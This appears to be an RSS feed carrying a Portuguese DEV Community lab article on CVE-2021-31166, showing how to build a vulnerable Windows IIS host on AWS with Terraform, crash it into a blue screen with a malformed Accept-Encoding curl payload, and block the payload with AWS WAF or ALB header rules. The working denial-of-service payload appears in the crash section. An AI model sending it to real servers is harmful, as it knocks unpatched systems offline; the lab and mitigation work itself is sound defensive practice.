<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Bruno Gabriel da Silva</title>
    <description>The latest articles on DEV Community by Bruno Gabriel da Silva (@bgsilvait).</description>
    <link>https://dev.to/bgsilvait</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F636247%2Fc77a5043-9b40-4005-9870-59ca9b840077.jpeg</url>
      <title>DEV Community: Bruno Gabriel da Silva</title>
      <link>https://dev.to/bgsilvait</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/bgsilvait"/>
    <language>en</language>
    <item>
      <title>Causando Tela Azul da Morte no Windows pelo IIS</title>
      <dc:creator>Bruno Gabriel da Silva</dc:creator>
      <pubDate>Sun, 23 May 2021 22:24:59 +0000</pubDate>
      <link>https://dev.to/bgsilvait/causando-tela-azul-da-morte-no-windows-pelo-iis-1ald</link>
      <guid>https://dev.to/bgsilvait/causando-tela-azul-da-morte-no-windows-pelo-iis-1ald</guid>
      <description>&lt;h1&gt;
  
  
  Estou sem tempo, pode resumir?
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Um novo &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-CVE-2021-311660" rel="noopener noreferrer"&gt;CVE-2021-31166&lt;/a&gt; pode forçar Kernel Crash (TELA AZUL) no Windows &lt;strong&gt;10&lt;/strong&gt; e &lt;strong&gt;Server Core&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Versões afetadas são as mais recentes &lt;strong&gt;20H1 - Build 19041&lt;/strong&gt; e &lt;strong&gt;20H2 - Build 19042&lt;/strong&gt; sem o devido Windows Update.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;O bug pode afetar &lt;strong&gt;WinRM&lt;/strong&gt; e &lt;strong&gt;IIS&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;



&lt;h3&gt;
  
  
  Este artigo foi escrito para que você teste em &lt;strong&gt;SUA&lt;/strong&gt; conta AWS, e possa simular o CVE.
&lt;/h3&gt;



&lt;p&gt;A forma mais rápida de ficar tranquilo perante este assunto, é você ter controle sobre as versões do Windows 10 e Windows Server que você possui em sua infra. Como bem sabemos em grandes corporações não é simplesmente "Rodar Windows Update", os updates precisam ser testados e aprovados... e isto pode causar um delay na atualização.&lt;/p&gt;



&lt;p&gt;Para reproduzir este problema em um ambiente controlado, você pode aplicar o terraform abaixo. Com este terraform será criado uma EC2 Windows Server Core 20H2 com updates até Abril-21, bem como um Load Balancer do tipo Application, uma vez que precisamos ter uma Proxy frente ao IIS para nos proteger.&lt;/p&gt;



&lt;h3&gt;
  
  
  Executando o Terraform
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/bgsilvait/WIn-CVE-2021-31166.git
&lt;span class="nb"&gt;cd &lt;/span&gt;WIn-CVE-2021-31166
terraform init
terraform plan
terraform apply &lt;span class="nt"&gt;--auto-approve&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;h3&gt;
  
  
  Reavendo valores do ALB DNS e IP da EC2
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#Caso você esteja usando Windows, rode somente o comando dentro dos ()&lt;/span&gt;
&lt;span class="nv"&gt;ALB&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;terraform output &lt;span class="nt"&gt;-raw&lt;/span&gt; lb_dns_name&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nv"&gt;EC2IP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;terraform output &lt;span class="nt"&gt;-json&lt;/span&gt; public_ip | jq &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="s1"&gt;'.[0]'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;p&gt;Como o Windows leva mais tempo para terminar o bootstrap e instalar o IIS, pode demorar uns 2-3 minutes até que você possa efetuar o teste.&lt;/p&gt;



&lt;h3&gt;
  
  
  Testando Acesso pelo Loadbalancer e pela EC2
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#Testando acesso apenas uma vez&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nv"&gt;$ALB&lt;/span&gt;
curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nv"&gt;$EC2IP&lt;/span&gt;
&lt;span class="c"&gt;#Testando acesso de forma continua ALB&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nv"&gt;$ALB&lt;/span&gt; &lt;span class="nt"&gt;--connect-timeout&lt;/span&gt; 1 &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;

&lt;span class="c"&gt;#Testando acesso de forma continua EC2&lt;/span&gt;
&lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;curl &lt;span class="nt"&gt;-I&lt;/span&gt; &lt;span class="nv"&gt;$EC2IP&lt;/span&gt; &lt;span class="nt"&gt;--connect-timeout&lt;/span&gt; 1 &lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;h3&gt;
  
  
  Testando Acesso pelo curl e pelo navegador
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqmw197c0w545twbhk4s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdqmw197c0w545twbhk4s.png" alt="curl"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvl9z5rh8q8y0yh9qhcxl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvl9z5rh8q8y0yh9qhcxl.png" alt="Navegador"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Executando o payload para forçar o Crash
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#Testing to ALB&lt;/span&gt;
curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nv"&gt;$ALB&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept-Encoding: doar-e, ftw, imo, ,"&lt;/span&gt;

&lt;span class="c"&gt;#Testing Directly to EC2'&lt;/span&gt;
curl &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="nv"&gt;$EC2IP&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Accept-Encoding: doar-e, ftw, imo, ,"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Acompanhando o acesso de forma continua[1] e executando o payload[2]
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz4ledfhfgjnb1d11f1cz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz4ledfhfgjnb1d11f1cz.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk18s0benra61fjy370k1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk18s0benra61fjy370k1.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;É possível perceber pela mudança do status &lt;code&gt;200 OK&lt;/code&gt; para &lt;code&gt;curl: (28) Connection timed out after&lt;/code&gt; o qual demonstra que algo ocorreu do lado do IIS. Ao acessar a EC2 pelo &lt;a href="https://docs.aws.amazon.com/systems-manager/latest/userguide/session-manager-working-with-sessions-start.html#start-ec2-console" rel="noopener noreferrer"&gt;SSM Session&lt;/a&gt; e rodando o comando powershell &lt;strong&gt;Get-EventLog -LogName System | Where-Object { $_.EventID -eq '6008' }&lt;/strong&gt; que houve um desligamento inesperado do SO.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuvvrz2zapj2jihjabplx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fuvvrz2zapj2jihjabplx.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;



&lt;h3&gt;
  
  
  Forma de Proteção 1 - AWS WAF
&lt;/h3&gt;



&lt;p&gt;Utilizando-se o &lt;a href="https://wellarchitectedlabs.com/security/200_labs/200_basic_ec2_with_waf_protection/3_create_alb_with_waf/" rel="noopener noreferrer"&gt;AWS WAF + ALB&lt;/a&gt; é possível criar uma regra que realize um filtro baseado no Header Http, e faça o drop do pacote antes de alcançar o IIS. Você pode utilizar esta &lt;a href="https://github.com/bgsilvait/WIn-CVE-2021-31166#rule-for-aws-wafv2-to-block" rel="noopener noreferrer"&gt;JSON Rule&lt;/a&gt; como base.&lt;/p&gt;

&lt;p&gt;Verificando o resultado do mesmo comando do payload sendo filtrado pelo AWS WAF:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4qrh797lepo89omhdr8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4qrh797lepo89omhdr8.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Forma de Proteção 2 - AWS ALB
&lt;/h3&gt;



&lt;p&gt;Em alguns casos sua empresa não utiliza WAF, ou você não tem acesso a modificar regras. Utilizando-se o &lt;a href="https://aws.amazon.com/blogs/aws/new-advanced-request-routing-for-aws-application-load-balancers/" rel="noopener noreferrer"&gt;ALB ARR&lt;/a&gt; podemos criar uma regra baseada no Header:&lt;/p&gt;

&lt;p&gt;Criando Regar no ALB:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ciiw9hl3dpuwlxbgjxd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4ciiw9hl3dpuwlxbgjxd.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Testando Payload com Regra no ALB(WAF removido):&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjtcgmyu07ar0fwa7abwq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fjtcgmyu07ar0fwa7abwq.png" alt="Alt Text"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Realizando Limpeza...
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;terraform destroy &lt;span class="nt"&gt;--auto-approve&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
      <category>windows</category>
      <category>bsod</category>
      <category>cve</category>
    </item>
  </channel>
</rss>
